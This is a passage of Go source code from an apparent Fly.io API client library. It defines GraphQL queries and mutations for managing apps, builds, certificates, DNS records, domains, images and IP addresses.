slug 63 | name 64 | } 65 | currentRelease { 66 | createdAt 67 | status 68 | } 69 | status 70 | } 71 | } 72 | } 73 | ` 74 | 75 | req := client.NewRequest(query) 76 | ctx = ctxWithAction(ctx, "get_apps_page") 77 | if orgID != nil { 78 | req.Var("org", *orgID) 79 | } 80 | if role != nil { 81 | req.Var("role", *role) 82 | } 83 | if after != nil { 84 | req.Var("after", *after) 85 | } 86 | 87 | data, err := client.RunWithContext(ctx, req) 88 | if err != nil { 89 | return nil, false, "", err 90 | } 91 | 92 | return data.Apps.Nodes, data.Apps.PageInfo.HasNextPage, data.Apps.PageInfo.EndCursor, nil 93 | } 94 | 95 | func (client *Client) GetApp(ctx context.Context, appName string) (*App, error) { 96 | query := ` 97 | query ($appName: String!) { 98 | app(name: $appName) { 99 | id 100 | internalNumericId 101 | name 102 | hostname 103 | deployed 104 | status 105 | version 106 | appUrl 107 | platformVersion 108 | currentRelease { 109 | evaluationId 110 | status 111 | inProgress 112 | version 113 | } 114 | config { 115 | definition 116 | } 117 | organization { 118 | id 119 | slug 120 | paidPlan 121 | } 122 | services { 123 | description 124 | protocol 125 | internalPort 126 | ports { 127 | port 128 | handlers 129 | } 130 | } 131 | ipAddresses { 132 | nodes { 133 | id 134 | address 135 | type 136 | createdAt 137 | } 138 | } 139 | sharedIpAddress 140 | imageDetails { 141 | registry 142 | repository 143 | tag 144 | digest 145 | version 146 | } 147 | machines{ 148 | nodes { 149 | id 150 | name 151 | config 152 | state 153 | region 154 | createdAt 155 | app { 156 | name 157 | } 158 | ips { 159 | nodes { 160 | family 161 | kind 162 | ip 163 | maskSize 164 | } 165 | } 166 | host { 167 | id 168 | } 169 | } 170 | } 171 | postgresAppRole: role { 172 | name 173 | } 174 | limitedAccessTokens { 175 | nodes { 176 | id 177 | name 178 | expiresAt 179 | } 180 | } 181 | } 182 | } 183 | ` 184 | 185 | req := client.NewRequest(query) 186 | req.Var("appName", appName) 187 | ctx = ctxWithAction(ctx, "get_app") 188 | 189 | data, err := client.RunWithContext(ctx, req) 190 | if err != nil { 191 | return nil, err 192 | } 193 | 194 | return &data.App, nil 195 | } 196 | 197 | func (client *Client) GetAppRemoteBuilder(ctx context.Context, appName string) (*App, error) { 198 | query := ` 199 | query ($appName: String!) { 200 | app(name: $appName) { 201 | id 202 | name 203 | hostname 204 | deployed 205 | status 206 | version 207 | appUrl 208 | platformVersion 209 | currentRelease { 210 | evaluationId 211 | status 212 | inProgress 213 | version 214 | } 215 | config { 216 | definition 217 | } 218 | organization { 219 | id 220 | slug 221 | paidPlan 222 | remoteBuilderApp { 223 | id 224 | name 225 | hostname 226 | deployed 227 | status 228 | version 229 | appUrl 230 | platformVersion 231 | currentRelease { 232 | evaluationId 233 | status 234 | inProgress 235 | version 236 | } 237 | ipAddresses { 238 | nodes { 239 | id 240 | address 241 | type 242 | createdAt 243 | } 244 | } 245 | organization { 246 | id 247 | slug 248 | paidPlan 249 | } 250 | imageDetails { 251 | registry 252 | repository 253 | tag 254 | digest 255 | version 256 | } 257 | machines{ 258 | nodes { 259 | id 260 | name 261 | config 262 | state 263 | region 264 | createdAt 265 | app { 266 | name 267 | } 268 | ips { 269 | nodes { 270 | family 271 | kind 272 | ip 273 | maskSize 274 | } 275 | } 276 | host { 277 | id 278 | } 279 | } 280 | } 281 | postgresAppRole: role { 282 | name 283 | } 284 | limitedAccessTokens { 285 | nodes { 286 | id 287 | name 288 | expiresAt 289 | } 290 | } 291 | } 292 | 293 | } 294 | services { 295 | description 296 | protocol 297 | internalPort 298 | ports { 299 | port 300 | handlers 301 | } 302 | } 303 | ipAddresses { 304 | nodes { 305 | id 306 | address 307 | type 308 | createdAt 309 | } 310 | } 311 | imageDetails { 312 | registry 313 | repository 314 | tag 315 | digest 316 | version 317 | } 318 | machines{ 319 | nodes { 320 | id 321 | name 322 | config 323 | state 324 | region 325 | createdAt 326 | app { 327 | name 328 | } 329 | ips { 330 | nodes { 331 | family 332 | kind 333 | ip 334 | maskSize 335 | } 336 | } 337 | host { 338 | id 339 | } 340 | } 341 | } 342 | postgresAppRole: role { 343 | name 344 | } 345 | limitedAccessTokens { 346 | nodes { 347 | id 348 | name 349 | expiresAt 350 | } 351 | } 352 | } 353 | } 354 | ` 355 | 356 | req := client.NewRequest(query) 357 | req.Var("appName", appName) 358 | ctx = ctxWithAction(ctx, "get_app") 359 | 360 | data, err := client.RunWithContext(ctx, req) 361 | if err != nil { 362 | return nil, err 363 | } 364 | 365 | return &data.App, nil 366 | } 367 | 368 | func (client *Client) GetDeployerAppByOrg(ctx context.Context, orgID string) (*App, error) { 369 | apps, err := client.GetAppsForOrganization(ctx, orgID) 370 | if err != nil { 371 | return nil, err 372 | } 373 | 374 | if len(apps) == 0 { 375 | return nil, fmt.Errorf("no deployer found") 376 | } 377 | 378 | for _, app := range apps { 379 | if strings.HasPrefix(app.Name, "fly-deployer-") { 380 | return &app, nil 381 | } 382 | } 383 | return nil, fmt.Errorf("no deployer found") 384 | } 385 | 386 | func (client *Client) GetAppNetwork(ctx context.Context, appName string) (*string, error) { 387 | query := ` 388 | query ($appName: String!) { 389 | app(name: $appName) { 390 | network 391 | } 392 | } 393 | ` 394 | 395 | req := client.NewRequest(query) 396 | req.Var("appName", appName) 397 | ctx = ctxWithAction(ctx, "get_app_network") 398 | 399 | data, err := client.RunWithContext(ctx, req) 400 | if err != nil { 401 | return nil, err 402 | } 403 | 404 | return &data.App.Network, nil 405 | } 406 | 407 | func (client *Client) GetAppCompact(ctx context.Context, appName string) (*AppCompact, error) { 408 | query := ` 409 | query ($appName: String!) { 410 | appcompact:app(name: $appName) { 411 | id 412 | name 413 | hostname 414 | deployed 415 | network 416 | status 417 | appUrl 418 | platformVersion 419 | organization { 420 | id 421 | internalNumericId 422 | slug 423 | paidPlan 424 | } 425 | postgresAppRole: role { 426 | name 427 | } 428 | } 429 | } 430 | ` 431 | 432 | req := client.NewRequest(query) 433 | req.Var("appName", appName) 434 | ctx = ctxWithAction(ctx, "get_app_compact") 435 | 436 | data, err := client.RunWithContext(ctx, req) 437 | if err != nil { 438 | return nil, err 439 | } 440 | 441 | return &data.AppCompact, nil 442 | } 443 | 444 | func (client *Client) GetAppBasic(ctx context.Context, appName string) (*AppBasic, error) { 445 | query := ` 446 | query ($appName: String!) { 447 | appbasic:app(name: $appName) { 448 | id 449 | name 450 | platformVersion 451 | organization { 452 | id 453 | internalNumericId 454 | slug 455 | rawSlug 456 | paidPlan 457 | } 458 | } 459 | } 460 | ` 461 | 462 | req := client.NewRequest(query) 463 | req.Var("appName", appName) 464 | ctx = ctxWithAction(ctx, "get_app_basic") 465 | 466 | data, err := client.RunWithContext(ctx, req) 467 | if err != nil { 468 | return nil, err 469 | } 470 | 471 | return &data.AppBasic, nil 472 | } 473 | 474 | func (client *Client) CreateApp(ctx context.Context, input CreateAppInput) (*App, error) { 475 | query := ` 476 | mutation($input: CreateAppInput!) { 477 | createApp(input: $input) { 478 | app { 479 | id 480 | name 481 | organization { 482 | slug 483 | } 484 | config { 485 | definition 486 | } 487 | regions { 488 | name 489 | code 490 | } 491 | } 492 | } 493 | } 494 | ` 495 | 496 | req := client.NewRequest(query) 497 | 498 | req.Var("input", input) 499 | ctx = ctxWithAction(ctx, "create_app") 500 | 501 | data, err := client.RunWithContext(ctx, req) 502 | if err != nil { 503 | return nil, err 504 | } 505 | 506 | return &data.CreateApp.App, nil 507 | } 508 | 509 | func (client *Client) DeleteApp(ctx context.Context, appName string) error { 510 | query := ` 511 | mutation($appId: ID!) { 512 | deleteApp(appId: $appId) { 513 | organization { 514 | id 515 | } 516 | } 517 | } 518 | ` 519 | 520 | req := client.NewRequest(query) 521 | 522 | req.Var("appId", appName) 523 | ctx = ctxWithAction(ctx, "delete_app") 524 | 525 | _, err := client.RunWithContext(ctx, req) 526 | return err 527 | } 528 | 529 | func (client *Client) MoveApp(ctx context.Context, appName string, orgID string) (*App, error) { 530 | query := ` 531 | mutation ($input: MoveAppInput!) { 532 | moveApp(input: $input) { 533 | app { 534 | id 535 | networkId 536 | organization { 537 | slug 538 | } 539 | } 540 | } 541 | } 542 | ` 543 | 544 | req := client.NewRequest(query) 545 | 546 | req.Var("input", map[string]string{ 547 | "appId": appName, 548 | "organizationId": orgID, 549 | }) 550 | ctx = ctxWithAction(ctx, "move_app") 551 | 552 | data, err := client.RunWithContext(ctx, req) 553 | return &data.App, err 554 | } 555 | 556 | func (client *Client) ResolveImageForApp(ctx context.Context, appName, imageRef string) (*Image, error) { 557 | query := ` 558 | query ($appName: String!, $imageRef: String!) { 559 | app(name: $appName) { 560 | id 561 | image(ref: $imageRef) { 562 | id 563 | digest 564 | ref 565 | compressedSize: compressedSizeFull 566 | } 567 | } 568 | } 569 | ` 570 | 571 | req := client.NewRequest(query) 572 | req.Var("appName", appName) 573 | req.Var("imageRef", imageRef) 574 | ctx = ctxWithAction(ctx, "resolve_image") 575 | 576 | data, err := client.RunWithContext(ctx, req) 577 | if err != nil { 578 | return nil, err 579 | } 580 | 581 | return data.App.Image, nil 582 | } 583 | 584 | func (client *Client) AppNameAvailable(ctx context.Context, appName string) (bool, error) { 585 | query := ` 586 | query ($appName: String!) { 587 | appNameAvailable(name: $appName) 588 | } 589 | ` 590 | 591 | req := client.NewRequest(query) 592 | 593 | req.Var("appName", appName) 594 | ctx = ctxWithAction(ctx, "app_name_available") 595 | 596 | data, err := client.RunWithContext(ctx, req) 597 | if err != nil { 598 | return false, err 599 | } 600 | 601 | return data.AppNameAvailable, nil 602 | } 603 | 604 | func (client *Client) LockApp(ctx context.Context, input LockAppInput) (*LockApp, error) { 605 | query := ` 606 | mutation($input: LockAppInput!) { 607 | lockApp(input: $input) { 608 | lockId 609 | expiration 610 | } 611 | } 612 | ` 613 | 614 | req := client.NewRequest(query) 615 | 616 | req.Var("input", map[string]string{ 617 | "appId": input.AppID, 618 | }) 619 | ctx = ctxWithAction(ctx, "lock_app") 620 | 621 | data, err := client.RunWithContext(ctx, req) 622 | if err != nil { 623 | return nil, err 624 | } 625 | 626 | return data.LockApp, nil 627 | } 628 | 629 | func (client *Client) UnlockApp(ctx context.Context, input UnlockAppInput) (*App, error) { 630 | query := ` 631 | mutation($input: UnlockAppInput!) { 632 | unlockApp(input: $input) { 633 | app { 634 | name 635 | } 636 | } 637 | } 638 | ` 639 | 640 | req := client.NewRequest(query) 641 | 642 | req.Var("input", map[string]string{ 643 | "appId": input.AppID, 644 | "lockId": input.LockID, 645 | }) 646 | ctx = ctxWithAction(ctx, "unlock_app") 647 | 648 | data, err := client.RunWithContext(ctx, req) 649 | if err != nil { 650 | return nil, err 651 | } 652 | 653 | return &data.App, nil 654 | } 655 | 656 | func (client *Client) GetAppLock(ctx context.Context, name string) (*App, error) { 657 | query := ` 658 | query($name: String!) { 659 | app(name: $name) { 660 | currentLock { 661 | lockId 662 | expiration 663 | } 664 | } 665 | } 666 | ` 667 | 668 | req := client.NewRequest(query) 669 | req.Var("name", name) 670 | ctx = ctxWithAction(ctx, "get_app_lock") 671 | 672 | data, err := client.RunWithContext(ctx, req) 673 | if err != nil { 674 | return nil, err 675 | } 676 | 677 | return &data.App, nil 678 | } 679 | -------------------------------------------------------------------------------- /resource_build.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import ( 4 | "context" 5 | ) 6 | 7 | func (c *Client) CreateBuild(ctx context.Context, input CreateBuildInput) (*CreateBuildResponse, error) { 8 | _ = `# @genqlient 9 | mutation CreateBuild($input:CreateBuildInput!) { 10 | createBuild(input:$input) { 11 | id 12 | status 13 | } 14 | } 15 | ` 16 | return CreateBuild(ctx, c.genqClient, input) 17 | } 18 | 19 | func (c *Client) FinishBuild(ctx context.Context, input FinishBuildInput) (*FinishBuildResponse, error) { 20 | _ = `# @genqlient 21 | mutation FinishBuild($input:FinishBuildInput!) { 22 | finishBuild(input:$input) { 23 | id 24 | status 25 | wallclockTimeMs 26 | } 27 | } 28 | ` 29 | return FinishBuild(ctx, c.genqClient, input) 30 | } 31 | -------------------------------------------------------------------------------- /resource_certificates.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import "context" 4 | 5 | func (c *Client) GetAppCertificates(ctx context.Context, appName string) ([]AppCertificateCompact, error) { 6 | query := ` 7 | query($appName: String!) { 8 | appcertscompact:app(name: $appName) { 9 | certificates { 10 | nodes { 11 | createdAt 12 | hostname 13 | clientStatus 14 | } 15 | } 16 | } 17 | } 18 | ` 19 | 20 | req := c.NewRequest(query) 21 | 22 | req.Var("appName", appName) 23 | ctx = ctxWithAction(ctx, "get_app_certificates") 24 | 25 | data, err := c.RunWithContext(ctx, req) 26 | if err != nil { 27 | return nil, err 28 | } 29 | 30 | return data.AppCertsCompact.Certificates.Nodes, nil 31 | } 32 | 33 | func (c *Client) CheckAppCertificate(ctx context.Context, appName, hostname string) (*AppCertificate, *HostnameCheck, error) { 34 | query := ` 35 | mutation($input: CheckCertificateInput!) { 36 | checkCertificate(input: $input) { 37 | certificate { 38 | acmeDnsConfigured 39 | acmeAlpnConfigured 40 | configured 41 | certificateAuthority 42 | createdAt 43 | dnsProvider 44 | dnsValidationInstructions 45 | dnsValidationHostname 46 | dnsValidationTarget 47 | hostname 48 | id 49 | source 50 | clientStatus 51 | isApex 52 | isWildcard 53 | issued { 54 | nodes { 55 | type 56 | expiresAt 57 | } 58 | } 59 | } 60 | check { 61 | aRecords 62 | aaaaRecords 63 | cnameRecords 64 | soa 65 | dnsProvider 66 | dnsVerificationRecord 67 | resolvedAddresses 68 | } 69 | } 70 | } 71 | ` 72 | 73 | req := c.NewRequest(query) 74 | 75 | req.Var("input", map[string]string{ 76 | "appId": appName, 77 | "hostname": hostname, 78 | }) 79 | ctx = ctxWithAction(ctx, "check_app_certificates") 80 | 81 | data, err := c.RunWithContext(ctx, req) 82 | if err != nil { 83 | return nil, nil, err 84 | } 85 | 86 | return data.CheckCertificate.Certificate, data.CheckCertificate.Check, nil 87 | } 88 | 89 | func (c *Client) AddCertificate(ctx context.Context, appName, hostname string) (*AppCertificate, *HostnameCheck, error) { 90 | query := ` 91 | mutation($appId: ID!, $hostname: String!) { 92 | addCertificate(appId: $appId, hostname: $hostname) { 93 | certificate { 94 | acmeDnsConfigured 95 | acmeAlpnConfigured 96 | configured 97 | certificateAuthority 98 | createdAt 99 | dnsProvider 100 | dnsValidationInstructions 101 | dnsValidationHostname 102 | dnsValidationTarget 103 | hostname 104 | id 105 | source 106 | clientStatus 107 | isApex 108 | isWildcard 109 | issued { 110 | nodes { 111 | type 112 | expiresAt 113 | } 114 | } 115 | } 116 | check { 117 | aRecords 118 | aaaaRecords 119 | cnameRecords 120 | soa 121 | dnsProvider 122 | dnsVerificationRecord 123 | resolvedAddresses 124 | } 125 | } 126 | } 127 | ` 128 | 129 | req := c.NewRequest(query) 130 | 131 | req.Var("appId", appName) 132 | req.Var("hostname", hostname) 133 | ctx = ctxWithAction(ctx, "add_certificates") 134 | 135 | data, err := c.RunWithContext(ctx, req) 136 | if err != nil { 137 | return nil, nil, err 138 | } 139 | 140 | return data.AddCertificate.Certificate, data.AddCertificate.Check, nil 141 | } 142 | 143 | func (c *Client) DeleteCertificate(ctx context.Context, appName, hostname string) (*DeleteCertificatePayload, error) { 144 | query := ` 145 | mutation($appId: ID!, $hostname: String!) { 146 | deleteCertificate(appId: $appId, hostname: $hostname) { 147 | app { 148 | name 149 | } 150 | certificate { 151 | hostname 152 | id 153 | } 154 | } 155 | } 156 | ` 157 | 158 | req := c.NewRequest(query) 159 | 160 | req.Var("appId", appName) 161 | req.Var("hostname", hostname) 162 | ctx = ctxWithAction(ctx, "delete_certificates") 163 | 164 | data, err := c.RunWithContext(ctx, req) 165 | if err != nil { 166 | return nil, err 167 | } 168 | 169 | return &data.DeleteCertificate, nil 170 | } 171 | -------------------------------------------------------------------------------- /resource_deploy.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import "context" 4 | 5 | func (c *Client) CanPerformBluegreenDeployment(ctx context.Context, appName string) (bool, error) { 6 | query := ` 7 | query ($appName: String!) { 8 | canPerformBluegreenDeployment(name: $appName) 9 | } 10 | ` 11 | 12 | req := c.NewRequest(query) 13 | 14 | req.Var("appName", appName) 15 | ctx = ctxWithAction(ctx, "can_perform_bluegreen_deployment") 16 | 17 | data, err := c.RunWithContext(ctx, req) 18 | if err != nil { 19 | return false, err 20 | } 21 | 22 | return data.CanPerformBluegreenDeployment, nil 23 | } 24 | -------------------------------------------------------------------------------- /resource_dns.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import "context" 4 | 5 | func (c *Client) GetDNSRecords(ctx context.Context, domainName string) ([]*DNSRecord, error) { 6 | query := ` 7 | query($domainName: String!) { 8 | domain(name: $domainName) { 9 | dnsRecords { 10 | nodes { 11 | id 12 | fqdn 13 | name 14 | type 15 | ttl 16 | rdata 17 | isApex 18 | isWildcard 19 | isSystem 20 | createdAt 21 | updatedAt 22 | } 23 | } 24 | } 25 | } 26 | ` 27 | 28 | req := c.NewRequest(query) 29 | 30 | req.Var("domainName", domainName) 31 | ctx = ctxWithAction(ctx, "get_dns_records") 32 | 33 | data, err := c.RunWithContext(ctx, req) 34 | if err != nil { 35 | return nil, err 36 | } 37 | 38 | if data.Domain == nil { 39 | return nil, ErrNotFound 40 | } 41 | 42 | return *data.Domain.DnsRecords.Nodes, nil 43 | } 44 | 45 | func (c *Client) ExportDNSRecords(ctx context.Context, domainId string) (string, error) { 46 | query := ` 47 | mutation($input: ExportDNSZoneInput!) { 48 | exportDnsZone(input: $input) { 49 | contents 50 | } 51 | } 52 | ` 53 | 54 | req := c.NewRequest(query) 55 | 56 | req.Var("input", map[string]interface{}{ 57 | "domainId": domainId, 58 | }) 59 | ctx = ctxWithAction(ctx, "export_dns_records") 60 | 61 | data, err := c.RunWithContext(ctx, req) 62 | if err != nil { 63 | return "", err 64 | } 65 | 66 | return data.ExportDnsZone.Contents, nil 67 | } 68 | 69 | func (c *Client) ImportDNSRecords(ctx context.Context, domainId string, zonefile string) ([]ImportDnsWarning, []ImportDnsChange, error) { 70 | query := ` 71 | mutation($input: ImportDNSZoneInput!) { 72 | importDnsZone(input: $input) { 73 | changes { 74 | action 75 | newText 76 | oldText 77 | } 78 | warnings { 79 | action 80 | message 81 | attributes { 82 | name 83 | rdata 84 | ttl 85 | type 86 | } 87 | } 88 | } 89 | } 90 | ` 91 | 92 | req := c.NewRequest(query) 93 | 94 | req.Var("input", map[string]interface{}{ 95 | "domainId": domainId, 96 | "zonefile": zonefile, 97 | }) 98 | ctx = ctxWithAction(ctx, "import_dns_records") 99 | 100 | data, err := c.RunWithContext(ctx, req) 101 | if err != nil { 102 | return nil, nil, err 103 | } 104 | 105 | return data.ImportDnsZone.Warnings, data.ImportDnsZone.Changes, nil 106 | } 107 | -------------------------------------------------------------------------------- /resource_doctor.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import "context" 4 | 5 | func (c *Client) CreateDoctorUrl(ctx context.Context) (putUrl string, err error) { 6 | query := ` 7 | mutation { 8 | createDoctorUrl { 9 | putUrl 10 | } 11 | } 12 | ` 13 | 14 | req := c.NewRequest(query) 15 | ctx = ctxWithAction(ctx, "create_doctor_url") 16 | 17 | data, err := c.RunWithContext(ctx, req) 18 | if err != nil { 19 | return "", err 20 | } 21 | 22 | return data.CreateDoctorUrl.PutUrl, nil 23 | } 24 | -------------------------------------------------------------------------------- /resource_domains.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import "context" 4 | 5 | func (c *Client) GetDomains(ctx context.Context, organizationSlug string) ([]*Domain, error) { 6 | query := ` 7 | query($slug: String!) { 8 | organization(slug: $slug) { 9 | domains { 10 | nodes { 11 | id 12 | name 13 | createdAt 14 | registrationStatus 15 | dnsStatus 16 | autoRenew 17 | expiresAt 18 | } 19 | } 20 | } 21 | } 22 | ` 23 | 24 | req := c.NewRequest(query) 25 | ctx = ctxWithAction(ctx, "get_domains") 26 | req.Var("slug", organizationSlug) 27 | 28 | data, err := c.RunWithContext(ctx, req) 29 | if err != nil { 30 | return nil, err 31 | } 32 | 33 | return *data.Organization.Domains.Nodes, nil 34 | } 35 | 36 | func (c *Client) GetDomain(ctx context.Context, name string) (*Domain, error) { 37 | query := ` 38 | query($name: String!) { 39 | domain(name: $name) { 40 | id 41 | name 42 | createdAt 43 | registrationStatus 44 | dnsStatus 45 | autoRenew 46 | expiresAt 47 | zoneNameservers 48 | delegatedNameservers 49 | organization { 50 | id 51 | name 52 | slug 53 | } 54 | } 55 | } 56 | ` 57 | 58 | req := c.NewRequest(query) 59 | ctx = ctxWithAction(ctx, "get_domain") 60 | req.Var("name", name) 61 | 62 | data, err := c.RunWithContext(ctx, req) 63 | if err != nil { 64 | return nil, err 65 | } 66 | 67 | return data.Domain, nil 68 | } 69 | 70 | func (c *Client) CreateDomain(organizationID string, name string) (*Domain, error) { 71 | query := ` 72 | mutation($input: CreateDomainInput!) { 73 | createDomain(input: $input) { 74 | domain { 75 | id 76 | name 77 | createdAt 78 | registrationStatus 79 | dnsStatus 80 | autoRenew 81 | expiresAt 82 | } 83 | } 84 | } 85 | ` 86 | 87 | req := c.NewRequest(query) 88 | ctx := ctxWithAction(context.Background(), "create_domain") 89 | req.Var("input", map[string]interface{}{ 90 | "organizationId": organizationID, 91 | "name": name, 92 | }) 93 | 94 | data, err := c.RunWithContext(ctx, req) 95 | if err != nil { 96 | return nil, err 97 | } 98 | 99 | return data.CreateDomain.Domain, nil 100 | } 101 | 102 | func (c *Client) CheckDomain(ctx context.Context, name string) (*CheckDomainResult, error) { 103 | query := ` 104 | mutation($input: CheckDomainInput!) { 105 | checkDomain(input: $input) { 106 | domainName 107 | tld 108 | registrationSupported 109 | registrationAvailable 110 | registrationPrice 111 | registrationPeriod 112 | transferAvailable 113 | dnsAvailable 114 | } 115 | } 116 | ` 117 | 118 | req := c.NewRequest(query) 119 | ctx = ctxWithAction(ctx, "check_domain") 120 | req.Var("input", map[string]string{"domainName": name}) 121 | 122 | data, err := c.RunWithContext(ctx, req) 123 | if err != nil { 124 | return nil, err 125 | } 126 | 127 | return data.CheckDomain, nil 128 | } 129 | 130 | func (c *Client) CreateAndRegisterDomain(organizationID string, name string) (*Domain, error) { 131 | query := ` 132 | mutation($input: CreateAndRegisterDomainInput!) { 133 | createAndRegisterDomain(input: $input) { 134 | domain { 135 | id 136 | name 137 | createdAt 138 | registrationStatus 139 | dnsStatus 140 | autoRenew 141 | expiresAt 142 | } 143 | } 144 | } 145 | ` 146 | 147 | req := c.NewRequest(query) 148 | ctx := ctxWithAction(context.Background(), "create_and_register_domain") 149 | req.Var("input", map[string]interface{}{ 150 | "organizationId": organizationID, 151 | "name": name, 152 | }) 153 | 154 | data, err := c.RunWithContext(ctx, req) 155 | if err != nil { 156 | return nil, err 157 | } 158 | 159 | return data.CreateAndRegisterDomain.Domain, nil 160 | } 161 | -------------------------------------------------------------------------------- /resource_images.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | ) 7 | 8 | func (client *Client) GetLatestImageTag(ctx context.Context, repository string, snapshotId *string) (string, error) { 9 | query := ` 10 | query($repository: String!, $snapshotId: ID) { 11 | latestImageTag(repository: $repository, snapshotId: $snapshotId) 12 | } 13 | ` 14 | req := client.NewRequest(query) 15 | req.Var("repository", repository) 16 | req.Var("snapshotId", snapshotId) 17 | ctx = ctxWithAction(ctx, "get_latest_image_tag") 18 | 19 | data, err := client.RunWithContext(ctx, req) 20 | if err != nil { 21 | return "", err 22 | } 23 | 24 | return data.LatestImageTag, nil 25 | } 26 | 27 | func (client *Client) GetLatestImageDetails(ctx context.Context, image string, flyVersion string) (*ImageVersion, error) { 28 | query := ` 29 | query($image: String!, $flyVersion: String) { 30 | latestImageDetails(image: $image, flyVersion: $flyVersion) { 31 | registry 32 | repository 33 | tag 34 | version 35 | digest 36 | } 37 | } 38 | ` 39 | 40 | req := client.NewRequest(query) 41 | ctx = ctxWithAction(ctx, "get_latest_image_details") 42 | req.Var("image", image) 43 | req.Var("flyVersion", flyVersion) 44 | 45 | data, err := client.RunWithContext(ctx, req) 46 | if err != nil { 47 | return nil, err 48 | } 49 | return &data.LatestImageDetails, nil 50 | } 51 | 52 | func (c *Client) LatestImage(ctx context.Context, appName string) (string, error) { 53 | _ = `# @genqlient 54 | query LatestImage($appName:String!) { 55 | app(name:$appName) { 56 | currentReleaseUnprocessed { 57 | id 58 | version 59 | imageRef 60 | } 61 | } 62 | } 63 | ` 64 | resp, err := LatestImage(ctx, c.genqClient, appName) 65 | if err != nil { 66 | return "", err 67 | } 68 | if resp.App.CurrentReleaseUnprocessed.ImageRef == "" { 69 | return "", fmt.Errorf("current release not found for app %s", appName) 70 | } 71 | return resp.App.CurrentReleaseUnprocessed.ImageRef, nil 72 | } 73 | -------------------------------------------------------------------------------- /resource_ip_addresses.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import ( 4 | "context" 5 | "net" 6 | "time" 7 | ) 8 | 9 | func (c *Client) GetIPAddresses(ctx context.Context, appName string) ([]IPAddress, error) { 10 | query := ` 11 | query ($appName: String!) { 12 | app(name: $appName) { 13 | ipAddresses { 14 | nodes { 15 | id 16 | address 17 | type 18 | region 19 | createdAt 20 | network { 21 | name 22 | organization { 23 | slug 24 | } 25 | } 26 | serviceName 27 | } 28 | } 29 | sharedIpAddress 30 | } 31 | } 32 | ` 33 | 34 | req := c.NewRequest(query) 35 | req.Var("appName", appName) 36 | ctx = ctxWithAction(ctx, "get_ip_addresses") 37 | 38 | data, err := c.RunWithContext(ctx, req) 39 | if err != nil { 40 | return nil, err 41 | } 42 | 43 | ips := data.App.IPAddresses.Nodes 44 | 45 | // ugly hack 46 | if data.App.SharedIPAddress != "" { 47 | ips = append(ips, IPAddress{ 48 | ID: "", 49 | Address: data.App.SharedIPAddress, 50 | Type: "shared_v4", 51 | Region: "", 52 | CreatedAt: time.Time{}, 53 | }) 54 | } 55 | 56 | return ips, nil 57 | } 58 | 59 | func (c *Client) AllocateIPAddress(ctx context.Context, appName string, addrType string, region string, org *Organization, network string) (*IPAddress, error) { 60 | query := ` 61 | mutation($input: AllocateIPAddressInput!) { 62 | allocateIpAddress(input: $input) { 63 | ipAddress { 64 | id 65 | address 66 | type 67 | region 68 | createdAt 69 | } 70 | } 71 | } 72 | ` 73 | 74 | req := c.NewRequest(query) 75 | ctx = ctxWithAction(ctx, "allocate_ip_address") 76 | input := AllocateIPAddressInput{AppID: appName, Type: addrType, Region: region} 77 | 78 | if org != nil { 79 | input.OrganizationID = org.ID 80 | } 81 | 82 | if network != "" { 83 | input.Network = network 84 | } 85 | 86 | req.Var("input", input) 87 | 88 | data, err := c.RunWithContext(ctx, req) 89 | if err != nil { 90 | return nil, err 91 | } 92 | 93 | return &data.AllocateIPAddress.IPAddress, nil 94 | } 95 | 96 | func (c *Client) AllocateSharedIPAddress(ctx context.Context, appName string) (net.IP, error) { 97 | query := ` 98 | mutation($input: AllocateIPAddressInput!) { 99 | allocateIpAddress(input: $input) { 100 | app { 101 | sharedIpAddress 102 | } 103 | } 104 | } 105 | ` 106 | 107 | req := c.NewRequest(query) 108 | ctx = ctxWithAction(ctx, "allocate_shared_ip_address") 109 | req.Var("input", AllocateIPAddressInput{AppID: appName, Type: "shared_v4"}) 110 | 111 | data, err := c.RunWithContext(ctx, req) 112 | if err != nil { 113 | return nil, err 114 | } 115 | 116 | return net.ParseIP(data.AllocateIPAddress.App.SharedIPAddress), nil 117 | } 118 | 119 | func (c *Client) AllocateEgressIPAddress(ctx context.Context, appName string, machineId string) (net.IP, net.IP, error) { 120 | query := ` 121 | mutation($input: AllocateEgressIPAddressInput!) { 122 | allocateEgressIpAddress(input: $input) { 123 | v4, 124 | v6 125 | } 126 | } 127 | ` 128 | 129 | req := c.NewRequest(query) 130 | ctx = ctxWithAction(ctx, "allocate_egress_ip_address") 131 | req.Var("input", AllocateEgressIPAddressInput{AppID: appName, MachineID: machineId}) 132 | 133 | data, err := c.RunWithContext(ctx, req) 134 | if err != nil { 135 | return nil, nil, err 136 | } 137 | 138 | return net.ParseIP(data.AllocateEgressIPAddress.V4), net.ParseIP(data.AllocateEgressIPAddress.V6), nil 139 | } 140 | 141 | func (c *Client) GetEgressIPAddresses(ctx context.Context, appName string) (map[string][]EgressIPAddress, error) { 142 | query := ` 143 | query ($appName: String!) { 144 | app(name: $appName) { 145 | machines { 146 | nodes { 147 | id 148 | egressIpAddresses { 149 | nodes { 150 | id 151 | ip 152 | version 153 | region 154 | } 155 | } 156 | } 157 | } 158 | } 159 | } 160 | ` 161 | 162 | req := c.NewRequest(query) 163 | ctx = ctxWithAction(ctx, "get_egress_ip_addresses") 164 | req.Var("appName", appName) 165 | 166 | data, err := c.RunWithContext(ctx, req) 167 | if err != nil { 168 | return nil, err 169 | } 170 | 171 | ret := make(map[string][]EgressIPAddress) 172 | for _, m := range data.App.Machines.Nodes { 173 | if m.EgressIpAddresses.Nodes == nil || len(m.EgressIpAddresses.Nodes) == 0 { 174 | continue 175 | } 176 | 177 | ret[m.ID] = make([]EgressIPAddress, len(m.EgressIpAddresses.Nodes)) 178 | 179 | for i, ip := range m.EgressIpAddresses.Nodes { 180 | ret[m.ID][i] = *ip 181 | } 182 | } 183 | 184 | return ret, nil 185 | } 186 | 187 | func (c *Client) ReleaseEgressIPAddress(ctx context.Context, appName, machineID string) (net.IP, net.IP, error) { 188 | query := ` 189 | mutation($input: ReleaseEgressIPAddressInput!) { 190 | releaseEgressIpAddress(input: $input) { 191 | v4 192 | v6 193 | clientMutationId 194 | } 195 | } 196 | ` 197 | 198 | req := c.NewRequest(query) 199 | ctx = 